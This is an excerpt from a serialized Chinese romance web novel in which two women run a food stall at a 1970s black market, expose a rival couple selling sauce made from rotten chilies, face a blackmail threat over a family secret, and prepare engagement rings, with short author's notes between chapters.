季白青看得好笑,哪有那么辣。 眼前突然多出一杯水,温淼喝了一口,勉强压住嘴里爆发的辣味。 她又抿了口水,这才解释道:“……主要是太烫了。” 刚盛出来的菜,还带着滚烫的温度,原本没有多辣,都被热意炒得翻涌。 季白青含笑,轻斥:“叫你吃那么着急。” 温淼眼睛亮晶晶,看向她的时候弯成一悬月牙。 “可是真的很好吃。” 季白青脑海里突然回忆起温棉棉喝奶时恨不得把自己整个身体都塞进碗里的样子。 也是有异曲同工之妙了。 “这就是你之后去黑市卖的东西吗?”温淼问。 这段时间她还一直担心着季白青的冰粉生意被抢的事,还以为原本季白青之前说的话是在安慰她,没想到真将麻辣烫做出来之后,味道确实不错,大概很多人喜欢。 这时候她才相信季白青之前的话不只是安慰,她是真的还有其它的做生意的法子。 不过也对,季白青一向都很有想法。 季白青看着她目含一整片璀璨星河的眼眸,捻了捻指腹,这才控制住自己想要去揉她脸颊的想法。 “对,所以之前就让你别担心了。”季白青温声开口。 温淼弯唇:“那我现在不担心了。” 吃晚饭的时候,何香月和温向荣她们尝了麻辣烫的味道之后,也都赞不绝口。 看她们的表现,季白青觉得到时候去黑市肯定也会好卖。 一家人晚饭吃得滚瓜肚圆,吃了饭后季白青又洗了点水果,将白天买来的月饼切了两个,每人一小块分食。 今晚的月亮和去年一样不是太圆,但季白青和温淼都能和家人团聚,彼此相伴身边。 回到房间,温淼才看到瓶子里横斜逸出桂花枝。 黄色碎花落在桌面上,留下一室馨香。 温淼凑上前去嗅了嗅,惊叹道:“好香。” “想吃桂花糕。”她突然冒出一句。 季白青在一边坐下,翘起腿撑着脸看她,闻言挑起眉,足尖点着地,声音慵懒:“可以,叫点好听的,明天给你做。” 温淼:“……你要我叫什么” 季白青诧异:“你问我?” 这不是给她出的题吗? 温淼低头认认真真想了想,凑到她耳边。 蔷薇香混合着桂花香被季白青捕捉,女人的声音不大,轻轻软软的,气息绕着她的耳垂打圈。 “老婆~我想吃桂花糕。” 尾音拖得绵绵柔柔,季白青从中品到一丝甜味儿,耳朵发酥。 她投降:“吃,明天就给你做。” 温淼扬唇一笑,在她脸颊上啵了几口。 同时,心里也有些遗憾。 什么时候两人才能成为真正的妻妻呢? 现在叫老婆好像总有些名不正言不顺的感觉。 * 中秋节过后,季白青还是每天按时带着半桶冰粉和辣椒酱去黑市卖。 中秋节过后,天气逐渐降温,瘦黑男人和他媳妇的冰粉也逐渐变得不太好卖。 最后两人咬了咬牙,干脆将价格降到了一毛钱一碗。 季白青还是三毛钱一碗慢悠悠地卖。 每次看到季白青卖出一碗冰粉,妻夫两人的牙都快要咬碎了。 毕竟她卖一碗,可是要比她们的一碗多出整整两毛钱! 也不知道那些人怎么就那么上赶着的,不就是味道比平常的要好一些。 可她们卖的只需要一毛钱啊!赚的都是个辛苦钱! 不就是上次辣口的冰粉做的难吃点吗?她们完全不懂,随便吃几口的事情,哪来这么多的事! 上次的冰粉里浇的酱是她们家炒的酸菜剩了个底儿倒出来用的,她们没提前尝一口,不知道已经发酸了,后来每一次都会先尝尝。 明明她们都已经改了。 怎么还那么多人宁愿多花两毛钱冤枉钱都不愿意来买她们的便宜的! 男人仔细观察季白青,得出这样一个结论。 ——肯定是因为他卖辣椒酱的原因。 一罐辣椒酱一两块,那么贵!又不是镶了金的。 他回去和他媳妇一合计,也准备一边卖冰粉一边卖辣椒酱。 这样一来,可以赚两个人的钱。 所以在九月末的时候,季白青刚到黑市,看到那对不要脸的妻夫俩面前除了冰粉还摆了红彤彤的辣椒酱之后,嘴角狠狠一抽。 她们也是装都不装一下了。 只是她们卖的辣椒酱可是何香月女士的独家秘方,自然和普通的辣椒酱不同,不然怎么会那么畅销。 普通的辣椒酱,常人自己在家就可以做,何必要多花那点钱。 黑市的人多了点后,妻夫两人开始吆喝:“卖冰粉,一毛一碗!卖辣椒酱,一块钱一瓶!” 有些老熟人见着还是那两个人之后,顿时心生忌惮,没敢去卖。 但也有人并不知情,还以为她们卖的和季白青所卖的是同一种。 随口询问了几句便买了下来。 见这么轻易就赚了一块钱,男人搓了搓手,嘿嘿地笑着收下了钱。 有人还是来季白青这买,付钱的同时诧异问她:“她家的辣椒酱和你卖的一样吗?” 季柏青摇了摇头:“我可没说啊同志,我和她们都不对付,这辣椒酱可是我家特有的秘方,怎么可能给她们。” 闻言,买辣椒酱的人松了一口气。 那边瘦黑男人还在对着想买辣椒酱的人大吹大擂。 “我家的辣椒酱啊!可好吃了!比别人卖的要好吃多了,而且还便宜!”他话里话外都是明晃晃的拉踩。 季白青一笑,慢悠悠走到她们摊前,看着她们忌惮的眼神,她轻蔑一笑。 “同志们,她们卖的辣椒酱可和我家的不一样,到时候买了不好吃的话,记得来找她们麻烦。” 说完,她不顾两人的怒视,再次悠哉悠哉回到了原本的位置。 留两人站在原地气得脸色涨红,她说这种话不就是在诅咒她们! 一边有人开玩笑似地开口:“所以同志,如果不好吃的话能找你退吗?” 男人的白眼一翻,恶声恶气道:“退什么退!你在供销社买了东西难道还能退吗?” 那人听他态度这么恶劣,也有样学样,眼皮狠狠一翻。 “呵呵,那我不买你的就是了!” 说完,她就去季白青那买了一瓶。 但今天总体还是妻夫俩那卖的辣椒酱多,归根结底还是因为便宜了不少。 两人对上季白青后,脸色再度回归为得意。 季白青当做没看见。 她虽然不在意,但还是觉得有些烦人。 这两人蚊子似的天天嗡嗡在耳边叫,麻烦。 第二天,去的时候正准备收工,突然看见一群人结伴气势汹汹地走到了妻夫两人的摊前,怒道: “你们两个生儿子没屁|眼的坏心玩意!我昨天买了你家的辣椒酱回去吃了一顿后,就上吐下泻,你们赔钱!” 【作者有话说】 可能有点乱,在回去的路上写的,感觉思绪乱乱的,回家再看看怎么改。 从机场去火车站的时候把行李箱落在出租车上[化了]大家引以为戒不要学这个笨比宿宿雪 感谢投雷营养液,感谢评论订阅收藏 107 第107章 ◎秘密◎ 王老三此时正和他媳妇张丽梅笑容洋溢地给面前的顾客递辣椒酱,人还没付钱,闻言,拿钱的动作一顿,面上带了几分犹豫地看向王老三。 王老三咬着牙,瞪着说话的那群人,面露怨怼。 “你们是谁啊?莫名其妙地冒出来,难道你们说什么就是什么?我们的辣椒酱那么多人都吃都没问题,结果就你有问题,一个大男人这么矫情!” 说完后,他看向那还没给钱的人道:“同志,你别听他们胡说,肯定是有人看不惯我的生意做得太好,所以是故意找人栽赃陷害我。”说完之后,他意味深长地看了季白青一眼。 季白青一句话也没说,但躺着也中枪。 她扯了扯唇,没有说话。 那伙人中块头最大的一个男人凶神恶煞地开了口:“老子给你脸了是吧?吃出来问题不给负责,那你就别卖!别给我在这扯东扯西的。” 来人都是群男人,要么比王老三长得壮实,要么比他高,一个个地逼近,阵仗颇大。 不少人都停下了手里的动作,兴致勃勃地开始准备看热闹。 张丽梅见状,护着肚子往后退了一步,语气慌张道:“你、你们可别动手!不然、不然小心我叫警察。” 他们其中有人闻言哼笑一声,“那就叫!能和你们一起进派出所,也不怕没乐子了。” 在黑市做交易都是被明令禁止的,无论是买的人还是卖的人都承担责任,只要被抓到或是举报,没有人能逃过一劫。 他们也是被气狠了,买了东西吃出来了毛病,结果却还要被妻夫俩倒打一耙。 难道他们看起来就很好欺负吗?! 既然她们不仁,那也就别怪他们不义。 眼见着面前这群人已经开始捞起袖子露出胳膊来了,周围的气氛逐渐变得紧张,就连季白青都停下了手里的活儿,抬起头来饶有兴致地看着她们。 虽然可能会耽误干活,但是如果真的能够看到王老三被揍的话,她还是很乐意的。 只是可惜,王老三没有和一群人杠上的勇气。 他跑得反而要比张丽梅一个孕妇还要快一些,畏畏缩缩地缩在后面,语气瞬间怂了下来。 “我……我不是那个意思,既然你们这么说,我也不是什么不讲理的人,我……” 想到后面要说的话,王老三只觉得自己内心痛得在滴血。 他说:“我愿意给点补偿!不过这不代表这就是我的辣椒酱的问题,这、这可都是我出于好心,我家的辣椒酱一直都很实惠。” 说完之后,见那群人停下来,王老三松了一口气的同时,内心也隐隐有些嘚瑟。 别看她们每天干得兢兢业业,那也是有得赚才这样。 每天赚那么多,拿出一点来赔给他们,那也是轻轻松松。 想到这,他再度开口,声音里带了几分高高在上的傲慢。 “说吧,你们想要多少钱?” 在听到对方回答之前,王老三都已经想好了数额,顶多就是一块两块的。 他给得起,轻轻松松。 想着,他抱着胸,好整以暇地听着对方的回答。 “十块。” “可以,就这么点……”话说到一半,王老三顿住,有些难以置信地挖了挖耳朵。 “你们说多少?!” 大块头有点不耐烦,“你他大爷的是聋子吗?十块!” 要不是为了钱,谁愿意跟王老三掰扯。 周围的人听了之后纷纷吸了一口气。 十块钱! 城里职工的一个月也就赚上十几块钱,结果他们一开口就是别人一半的工资。 这句话说出来后,所有人怜悯的目光都放在了王老三和张丽梅两人身上。 张丽梅险些被气了个仰倒,往身后踉跄几步,勉强扶住树干才站稳。 她尖声道:“怎么好意思要这么多的,你们抢钱啊?!” 男人声音硬邦邦地回答:“你们卖的时候没想过你们的辣椒酱会让人吃坏肚子吗? 诡异的沉默散开,所有人都不说话,看着她们之间较劲。 张丽梅的话说完后,倒是季白青在一边看热闹不嫌事大,慢悠悠道:“可是刚才听那男的说的话的意思分明就是这就只是一点钱,更何况这段时间那么多钱你们都赚了,结果现在给别人补偿十块钱还推来推去。” 她这一番话说完像是火上浇油一般,男人们看向她们妻夫两人的眼神已经开始变了。 推三阻四的,难道是不想给?! 他们掰着指骨,发出咔咔脆响,在妻夫两人听来,是赤裸裸的威胁。 还是王老三怕张丽梅真被揍,最后只能捏着鼻子道:“不就是十块钱,给你们就是了。” 将零零散散的毛票找出来,抓满一沓,王老三塞给对方,摆了摆手,跟对付苍蝇似的。 “再见!以后别来我家买了!” 说完后,那几人却没有马上离开,而是将手里的钱分为几个部分,每人一点开始数了起来。 最后合计一算,他们看向妻夫俩的眼神再度狠厉起来。 “这里才八块五毛九分,还差一块四毛一,别想着赖账。” 王老三:“……” 他按着心口,差点要昏过去。 最后还是撑住了,咬牙将最后少的那点钱补给他们。 送走了那几尊大神后,王老三和张丽梅才终于放下了心。 看向围拢在一起的人群,她们笑得有些僵硬,解释道:“我家辣椒酱没问题的,只是我看他们可怜,所以才愿意给点钱给他们,把他们打发走,大家想要买辣椒酱的继续来买啊!今天的辣椒酱统统便宜五分钱!” 说完后,人群中先是一阵沉默,最后不知道是谁最先笑了出来,其她人也都纷纷捂着嘴,嘲笑王老三话中的表里不一。 从刚才的事中,也有不少人看出来,王老三和张丽梅虽然每天都在哭穷,来黑市的时候也是穿着东一块补丁、西一块补丁的衣服,看起来贫苦,但实际上大概是比她们所想的还要富裕。 部分人因为这一点,没再去她们那买冰粉和辣椒酱,王老三她们损失了一部分顾客。 季白青回家的时候将这件事说给温淼听,温淼听了后,评价只有两个字。 活该。 谁让她们不好好做生意,偏偏要干坏事。 只是在那之后,王老三她们对季白青的挑衅仍旧没有停过。 季白青都不知道该说些什么好了。 周六,温淼和季白青一起去的黑市。 马上十月份了,按照常理来说,季白青肯定是不会再做凉粉的了。 但是张老三妻夫还在卖凉粉,季白青也致力于跟她们作对,哪怕每次都只是准备很少的量,也要去卖,和张老三她们抢生意。 两人今天先将东西存放在胡蝶那,没去黑市,最先去的食品站。 虽然这样,季白青还是扮成往日温青的模样,两人带着口罩和帽子。 季白青的本意是不想要待会儿又太麻烦地掩饰,便干脆这样去食品站买菜。 而王老三今天一大早没有在黑市见到季白青,就觉得有些奇怪。 虽然她们两家是不折不扣的对手,但是王老三没见到季白青的时候心里还是不太得劲。 没有人可以随意挑衅了,也少了点动力。 今天他丈母娘要上门,肯定不能像是平日一样敷衍,趁着现在人少,他干脆让张丽梅自己一个人在黑市守着,他跑着去食品站准备买菜。 结果却没想到一进到食品站,他就看见了在人群里也格外显眼的温青和他媳妇。 她们居然也在这?她们来干什么? 王老三在内心腹诽,最后悄悄跟上了她们。 季白青没多久就发现了自己身后的小尾巴,垂眸慢慢想了一会儿,唇角勾起,她带着温淼绕过弯弯绕绕的摊位,一直走到食品站后门的垃圾桶处。 她声音不大,但却刚好能够让离她不算太远的王老三听清楚。 季白青的语气有些兴奋:“也不知道今天的坏辣椒什么时候能够运过来,家里的辣椒酱都不够卖了。” 温淼也之愣了一会儿,最后反应过来,眸中闪过一丝笑意,十分配合地回复; “可是我们用坏的辣椒做辣椒酱会不会被人发现啊?” 季白青摆了摆手:“怎么可能会被尝出来,放心吧,辣椒酱本来已经变成酱了,这么碎,谁也看不出来。” 温淼点头,轻声附和:“也对,这样我们都不用买辣椒了,省下了那么多钱,可都是利润。” “你可真会赚钱!”温淼甜甜道。 季白青被她夸得差点笑场,勉强抿直了唇角。 听着她们的话,王老三的眼睛都放光。 他怎么也没有想到,季白青的辣椒酱用的都是这样的辣椒。 用食品站倒掉的坏辣椒做辣椒酱,这样没有一点成本,还每天都可以来这里等着。 季白青和温淼站在大垃圾桶面前等了一会儿,季白青又有些惋惜地开口: “今天也不知道是怎么回事,晚了那么多,看来我们等不到了,还是明天再过来吧。” 温淼点头:“那我们现在先去黑市。” 说完后,两人很快牵着手离开。 王老三在她们走远后才走出来,贼眉鼠眼地左顾右盼一会儿,见并没有人过来,瞬间露出了满意的笑。 他在不远处等了一会儿后,这才等到了季白青所说的坏辣椒被运到这一处倾倒。 看着满得落在地上红艳艳的辣椒,他两眼放光。 这可都是钱啊! 坏辣椒的数量有些多,他空手也拿不回去,又怕待会儿这些辣椒就被倒回来的季白青和温淼全都装走了,连忙快步跑去买了两个大筐。 他也什么都不嫌弃,捧着坏到各种程度的辣椒往背篓里装,眼都不眨,腐烂到流水的才能被挑出去。 等到将两个筐装得满满当当,王老三盖上东西遮掩住,用扁担背起来,连着今天刚买好的菜一起带着去黑市。 张丽梅等了好半天才等到王老三回来,见他肩上还挑着两个大家伙,瞬间气不打一处来。 “你死哪去了?不知道的还以为你是掉进茅坑里了呢,再晚来点我就被累死了。”她见人走近了,压低了声音抱怨。 说完这句话之后,王老三身上的气息很快传到了张丽梅的鼻尖,她瞬间捂住了嘴,差点被恶心得吐了出来。 “你真掉茅坑里了?” 王老三笑嘻嘻道:“媳妇,你不知道我今天发现了什么惊喜。” 他见没有人注意到她们这一处,附耳在张丽梅耳边轻声开口。 等听他说完后,张丽梅的眼睛也瞬间亮了几分,刚想说话,再次感受到浓郁的腐烂气息,她捂住嘴,没忍住又干呕一声。 自动往后退了几步,张丽梅警告:“你先别靠近我。” 王老三只能点头。 又想起刚才对方所说的话,张丽梅的心情好了几分。 她畅想:“那以后我们就天天去食品站,能省一点是一点,这样赚更多的钱。” 她原本以为自己家做辣椒酱好坏都不挑,已经够随意了,没想到季白青她还要更胜一筹,直接连成本钱和时间都不想出。 这下既然被她们知道了这个秘密,那就要比比看=看谁抢食品站辣椒的速度更快了。 前几天的天气转凉,在今天却又突然变得和夏日无异。 黑市原本少了几分的人今天又多了起来,人来人往之间,挤挤攘攘,各种味道混合在一起,并不好闻。 尤其是其中某一种味道开始变得越来越浓郁。 “好臭啊。”到了十点多,不知道是谁最先说出这句话。 随后也纷纷有人开口:“对啊,怎么这么臭?” “哪里传来的味道?” “别是谁随地大小便吧?” “我看这比随地大小便都要臭!” 听着这话,王老三和张丽梅都没什么反应。 闻多了筐里散发出来的腐烂味道,两人已经习惯了,自然没有意识到让所有人都觉得抗拒的气味便是腐烂的辣椒在烈日下发酵而散发出来的气味。 季白青和温淼的鼻子也并不好受,今天选的还是特意靠王老三比较近的位置,后果自然差点是被腌入味,两人都难以自主呼吸。 好不容易终于听到了自己早就预想到的话,季白青长舒出一口气。 笑眯眯地看了一会儿还还将自己置身事外的妻夫俩一眼,季白青捏着鼻子,站起来,声音清亮,在人群中分外突出。 “到底是哪这么臭啊?再多闻一会儿都快被臭出毛病来了!” 季白青睨了王老三一眼,问:“王老三,就你这儿味道最大,该不会是你昨天没洗澡吧。” 王老三闻言,顿时反驳:“我怎么可能没洗澡,我……我!” 季白青见他语无伦次的模样,便知道自己自己随口的一句话竟然猜对了。 眸中的嫌弃更甚,她往后仰了仰,拉开两人之间的距离:“解释就是掩饰,掩饰就是事实,事实就是你这么臭就是因为昨天没洗澡。” 她走进两人的摊位,看着放在她们身后的筐,继续和王老三说话。 “昨天也那么热,你在外面晒了一天居然也不洗澡,你媳妇居然能忍受得了。” 张丽梅的脸也微微发红,她……她也没洗,所以对王老三自然也没有多大的意见。 这话她没好意思说出来。 王老三昂首挺胸,骄傲回答:“我媳妇不嫌弃我!” 正想要嘲笑季白青是个怕老婆的,他一个没看到,身后的箩筐就被季白青掀开了盖子,露出里面红艳艳、味道刺鼻的辣椒。 臭气铺面,季白青往后退了好几步,才终于感觉喘过气来。 她故作惊讶道:“你后面怎么这么多坏辣椒?!” “原来之前有人说吃了你家的辣椒酱拉肚子是真的,你就用这种烂的辣椒来做辣椒酱?!” 此话一出,人群中的不少人脸色都大变。 黑市这些人多少都因为便宜买过王老三和张丽梅的辣椒酱,此时看着烂得流水、散发着恶臭的两筐辣椒顿时被恶心得说不出话来,甚至还有些想吐。 王老三听了这话,一楞,下一刻脸立马变得涨红。 “这、这不是!这是我要扔掉的!” 季白青看他,淡淡询问:“既然要扔掉为什么要带到黑市来?” 谁来黑市不都是小心翼翼生怕被人发现,哪有人会大喇喇冒着险要挑这么一大筐的东西去丢掉,唯一能得出的结论就是他在撒谎。 王老三的胸口起伏,被众人愤怒的视线看得压根说不出话来。 他瞪着季白青,眼神怨恨,不满地吼道:“你不也是用烂的辣椒来做辣椒酱!别以为我没听到!大家都听好了,温青他家的辣椒酱都是用坏辣椒做的!” 季白青惊讶地看着他,像是不知道他为什么会说出这样的话来。 “可是我家的辣椒酱每个人吃了都没事。” 她将收在摊后的筐拿出来,拿开盖着的布,将里面小半又红又硬实的辣椒展示给众人看。 两相比较之下,是谁拿残次品卖出去,所有人都已经一目了然。 顿时有人愤愤道:“退钱!把我们的钱退给我们!” 王老三和张丽梅瞬间慌了,这么多人说退钱,但是到了手的钱就是她们的了,怎么可能退掉! 她们家伙事都不想要了,刚想要跑,就被人逮住。 两个大婶将妻夫俩按住,“退不退钱?不退的话找去你们家把你们家给砸了!” 说完,几个干脆利落的大巴掌甩到了王老三身上。 念着张丽梅是孕妇,暂时没人对她动手。 王老三被打得脸颊通红,痛哭流涕道:“退……我退。” 季白青看着她们的惨状,心里也没有多大的起伏,毕竟一切都是她们自找的。 在人群都没有注意到的时候,她和温淼一起将东西收拾好,悄然离开。 季白青怕被王老三她们想办法报复,便打算停一段时间,在家好好休息。 还有更为重要的事情要做。 温淼什么都不知道,唯一感觉便是,最近季白青好像比去黑市的时候更忙了,每天早出晚归,也不知道在做什么。 疑惑了几天后,抓住了周六还往外跑的季白青,她有些疑惑。 “你去哪?” “赚钱。”季白青轻咳一声,还是这套说辞。 温淼拧着眉心,定定地看着她,澄澈的眸子里带了些狐疑。 所以已经是沉迷赚钱,要把她都给忘了? 温淼抿唇,和她闹小脾气。 “不行,今天要留下来陪我。” 季白青见温淼神色认真,还有些犹豫,最后开口询问:“上午是真的走不开,下午回来陪你好不好?” 温淼摇头:“不要。” 两人对视一会儿,季白青败下阵来。 “好吧,那我不出去了。” 见她迁就自己,温淼抿着唇,又在心里反思自己到底是不是在无理取闹。 她有些丧气,低声道:“算了,你还是出去吧,赚钱重要。” 季白青捏着她被养得有些圆润的下巴尖晃了晃,声音里带了几分笑意。 “小脑袋瓜在想什么呢?赚钱是重要,但没有温淼重要。” 在她显眼的泪痣上亲了一口,“知道了没?” 温淼抱住她的腰,还是试图善解人意的说法:“可你肯定是有重要的事,我刚才只是想……” 季白青打断她:“现在已经不是重要的事情了。” “陪你最重要。” 话也没错,虽然每天没有时间陪温淼,但她暗自里做的事也都和温淼有关。 其实两人在一起也不是要做什么事,一个人看书,一个人写教案,安安静静,温淼只是想到季白青能够陪在自己身边就很高兴了。 见她只是有人陪着就能这么高兴,季白青的整颗心都软化下来,周末没再出门,留下来陪温淼。 到温淼需要上课的时候,季白青才继续去镇上跟着金银匠学刻戒指。 上次的戒指,她始终觉得不太满意。 这段时间一直想要刻一对更为精致的戒指,花样早就在纸上拟了出来。 一朵一朵蔷薇花花瓣相接,最后合成手指指围大小的圈。 只是之前几次都因为不熟练被刻坏了。 今天她要将对戒的最后一点完成,将最后一片花瓣刻出来的时候,季白青都不敢呼吸,生怕一不小心就刻坏了。 好在,最后的成品却很漂亮,对光一看,金色的戒指精致漂亮。 她和金银匠道别后,揣上了戒指就往家跑。 在回村的路上,不知从哪突然冲出来一个人,季白青连忙按住刹车,最后还是因为车轮磕到石头,连人带车都倒在了地上。 兜里装着戒指的木盒也轱辘在地上滚了一圈。 季白青手肘蹭破了一片皮,掺杂着鲜红血丝。 顾不得身上的伤口,她捡起木盒,打开一看,见里面的戒指纹丝不动后才松了一口气。 这时候才她才看清刚才突然闯出来的人是谁。 潘红霞。 没什么和她说话的心思,季白青默不作声将单车扶起来,准备离开。 身后潘红霞突然开口:“季白青……我不是故意的。” 季白青应了一声,跨上自行车,脚撑着地正准备离开,又听见了潘红霞的话。 “你和温淼……真的要结婚了吗?” 想起刚才看到的一闪而过的金色,潘红霞的心里有些苦涩。 明明心里已经有了答案,但还是不死心地想要问上一句。 季白青拧着眉回头看了她一眼,“我们怎么样和你又有什么关系?” 潘红霞被她所说的话噎住,咬着唇,说不出一句话。 对啊,和她又有什么关系呢?可她就是执着的想要知道。 她眸中闪过一抹坚决,在季白青离开前开口: “你和温淼不可以结婚。” “我知道你们的秘密……温淼奶奶还活着。” 【作者有话说】 回村了,窗户外老有各种虫子想飞进来,然后撞上纱窗,小猫听到声音直接蹲在窗户前不走了,想出去抓虫子,希望别哪天给我个“大惊喜” 其实还有点苦恼,感觉猫猫有点粘人[狗头] 感谢投雷和营养液感谢评论订阅收藏 对了,后文不狗血(划重点 第108章 作收加更二合一 ◎好看◎ 她说完这话后,一眼不眨地盯着季白青的脸,不想要放过她脸上任意一丝表情。 季白青也面无表情地盯了她一会儿,随后将头微微偏到一边,问:“所以呢?” 潘红霞被她看着,脸上出*了些细汗,手也紧张地蜷紧,握成了拳头。 她掐着手心,强制让自己镇定下来,缓缓开口: “如果你还坚持要和温淼结婚的话,我会把温淼奶奶还活着的消息告诉全村的人,到时候你应该能猜到她们会是什么反应。” “要坚持和温淼结婚还是要我帮你保守秘密,你只能选一个。”潘红霞强调道。 只是她预料中季白青纠结的画面却没有出现,季白青面色沉沉地看着她,话里所带上的情绪有些莫名: “所以你是在威胁我?” 潘红霞一怔,慌乱解释:“我、我不是那个意思。” 她垂眸轻声开口,将心里话娓娓道出:“我不过是觉得……觉得温淼配不上你而已。” 温淼那样徒有美貌的人到底是怎么吸引到季白青的呢?她不理解,或许只是因为那样漂亮的皮囊。 但潘红霞却不希望季白青和温淼在一起,温淼是个大麻烦,季白青会被对方耽误的。 她在心里默默想着这些,也不留给自己一丝多想的机会。 听完对方那一番话后,季白青轻笑出声,只是眼里不带一丝笑意。 即使她在感情方面天生就有些迟钝,但从潘红霞欲盖弥彰的话里,她也能猜出一些苗头。 她声音清冷,不解地问:“所以你觉得你就能配得上我吗?” 潘红霞的脸色瞬间涨红,半响都说不出话来。 最后呐呐解释:“我、我不是那个意思,我没有这么觉得。” 潘红霞当然知道自己也配不上季白青,虽然在午夜梦回时偷偷在心里幻想过,但最终还是内心的自卑占了上风,所以她只是觉得无论是她还是温淼,都配不上季白青。 季白青这么好的人,应该有更好的选择才对。 想到这里,她坚定道:“你值得更好的人,所以你要和温淼分开才对。” 看着她固执的脸,季白青不欲再与她多言。 她声音淡淡,眼神轻瞥过潘红霞之后就落在了道边的长得茂盛的狗尾巴草上。 她说:“潘红霞,我不喜欢别人威胁我,也不会做你给的选择题,你想怎么样我是管不了,但是可以肯定的是,只要你敢把这件事说出去,那你以后在村里就别想好过。” 她并不欠潘红霞的,也不知道她哪来这么大脸觉得就这么几句话就可以拿捏她。 说完后,她没有给潘红霞任何回话的余地。 骑着车要回家的时候,一句浅淡缥缈的话被落下。 “我现在后悔当时救你了。” 话被风吹到了潘红霞的耳边,潘红霞的眼睛慢慢变红,望着她越来越远的背影,眼泪突然掉了下来。 她有些无措,季白青为什么会后悔救她? 可她说这些话都只是为了季白青好啊。 她只是不想让季白青以后后悔而已,无论如何都是出于好意,季白青怎么可以后悔救了她呢。 而且……她说的那些话都是假的,她从来没有想过要把温淼奶奶的事说出去,这样说的唯一目的便是想要让季白青改变心意而已。 但是对方的反应和自己所预想的一点也不一样。 难道她真的很过分吗? 拿着手上的东西失魂落魄地回到知青点,她将方海洋和沈念念和自己说话的声音忽略掉,一言不发的回到了房间之后,将在柜子里整齐叠好的外套拿了出来。 她抱着外套躺在床上,用被子将整个人裹住。 外套被洗得干干净净,还是清清淡淡的皂角香,潘红霞却觉得和最初的味道不大一样了。 她失神地想,她真的做错了吗? 只是自己一个人独处的时间还没过多久,房间门再度被打开。 潘红霞一顿,往墙边挪了挪,只希望沈念念不要打扰她。 所想往往都事与愿违,裹着她的被子很快被沈念念掀开。 沈念念叉着腰,居高临下地看着潘红霞道: “刚才和你说话你没听到吗?生火做饭了!” 见她怀里抱着那件不知道哪来的宝贝得不行的外套,她眼里闪过了一丝嫌弃。 沈念念开口嘲讽道:“每天就知道抱着这个外套,也不知道是谁的,你恶不恶心?” 谁知道这破外套到底是从哪来的。 闻言,潘红霞的呼吸一滞,她将外套藏好,慢慢站了起来,和沈念念面对面。 她从小在家就被饿着,吃的就少导致发育不良,比沈念念要矮一头。 看着她和自己对视,沈念念不屑道:“看什么看?你不会还想要打我吧?” “赶快的,去生火,大中午的还吃不吃饭了?” 潘红霞不说话,只是反手一记耳光直接打在了沈念念的脸上。 “啪”的一声清脆落下,沈念念下意识捂住脸颊,一脸不可置信地看着潘红霞。 “你,你竟然敢打我?”她的声音提高了几分。 潘红霞红着眼睛瞪着她,恶狠狠道:“就打你怎么了?你别以为我不知道上次把我推下河的是你,这件事我还没有找你算账。” 沈念念也没想到这件事她竟然知道的那么清楚,只是心虚一瞬,她瞬间又变得理直气壮起来。 “那又怎么了?你现在不还是好端端地站在这吗?” “更何况我本来也没想要你死,你看看你天天在知青点干活难道不累吗?要是你没有那么快上岸的话,卫国哥就可以把你救起来了,到时候你们结婚,享福的还不是你,活也能少干点。” 潘红霞抵住胸口,勉强喘过气之后,又是反手一巴掌落在沈念念的另外半张脸上。 她气急,尖声道:“要是那么好的话,你怎么不去!我把你推下去,去叫吴卫国把你救起来,你觉得他那么好,你倒是自己去啊!” 一想到如果自己没被季白青救起来会有什么样的后果潘红霞就恶心得想要呕吐。 潘红霞个子小,但每天干农活,力气不小,两个巴掌的力道都没有收着,落在沈念念的脸上,打得她两耳嗡鸣。 她双颊高高肿起,瞬间也被激起来几分火气。 “你敢打我!” 说着,她瞬间和潘红霞扭打起来,两人一个个子高占优势,一个力气大,动静大得屋外的方海洋都听到了。 将门拧开,见两个女人打的焦灼,他一愣。 不是煮个饭吗?怎么还打起来了。 “不是,你们打什么,还不快去做饭,我都饿了。” 潘红霞占了上风,将沈念念按住后,冷眼看着方海洋道: “饿了就去茅房吃点。”- 一直到家,季白青想到刚才发生的事心里还有几分堵得慌。 当初就不该动那点恻隐之心。 再次伸手摸了摸口袋里的小盒子,确定东西还在后她心情才终于算是好了几分。 今天回来的时间还算早,温淼也刚从学校回来没多久,正在淘米准备做饭。 季白青将东西谨慎放好,确定不会被温淼看到之后,这才去了灶房,准备切菜炒菜。 前几天季白青都是踩着点回来的,温淼都快习惯了,见她今天难得回来这么早,还有觉得有些奇怪。 她划开火柴,将引火松针点燃,问:“你最近的事忙完了?” 季白青切菜的动作一顿,沉吟会儿后谨慎回答:“还要几天。” 温淼嘀咕道:“到底是在忙什么?这么神秘。” 季白青笑而不语,这也不能直接说给温淼听啊,不然也太不惊喜了。 更何况,两人之间还是温淼第一次开口,明确地表示想要让她嫁给她,季白青自然要将该有的仪式感准备好。 想到那句带着醉意的软绵绵话语,季白青的心就软得不像话。 她只能说:“不过就只有几天,不会很久的,之后就空下来了,可以在家。” 吃了午饭,季白青和温淼回到房间。 季白青将桌上的书都翻了翻,两人这段时间空下来的大多数时间都是在复习从小学到高中的知识。 其实这些对季白青来说不算难,毕竟都是学过一遍的知识,她没记忆的时候也在二十一世界苦学了十几年,现在这么久过去,虽然有些知识点已经记得不太清楚了,但实际上只要再将课本看一遍,把每个类型的题目做上几个,就了解的差不多了。 她最近在忙其它,所以只复习了小学的内容,温淼则因为要在学校上课,偶尔还会给各个年级和各个科目的老师代课,将小学的知识都记得差不多,比季白青的速度要快上不少。 这倒是让季白青捡了个便宜,可以直接看温淼整理出来的笔记和整理的错题。 她老婆做前人栽树,作为乘凉的后人,她摆得光明正大。 季白青在看书的功夫,听着卧室里轻微的翻页声,温淼却有些睡不着。 她侧过身去,抵着下巴看了会儿季白青的背影,在心里纠结了一番后,最后还是开了口。 “阿青,我想问你个事。” 她声音小,季白青正在看语文文章,便一时间没有听见,没有给出任何反应。 温淼泄了气,在心里想着,不然不问了。 可是不问的话,那她还要等多久啊? 温淼有些不想等了。 她提高声音,再次叫季白青。 “阿青。” 这下季白青总算是听到了,她抬起头,有些疑惑地扭过头去看向温淼。 “怎么了?还没睡呢。” 温淼咬着唇,不知道该怎么开口。 觉得有些不好意思,但又确实很想要。 她被季白青看着,睫毛轻颤着,温吞开口:“我想要找你要一个东西。” 季白青疑惑:“你要什么?自己去拿不就行了,我的东西在哪你不是都知道?” 温淼再度咬唇,粉色的唇瓣颜色加深,她干脆坐了起来,“可这东西我不知道在哪。” 她直接将向季白青讨的东西说了出来:“我想要你给我的戒指。” 季白青听得心一跳,不知道是自己哪里漏了馅。 她按捺住怦怦跳的心,还在挣扎:“哪里来的戒指,我怎么不知道?” 温淼瞪她,她怎么可能不知道,就是在装。 “我都看到了!” 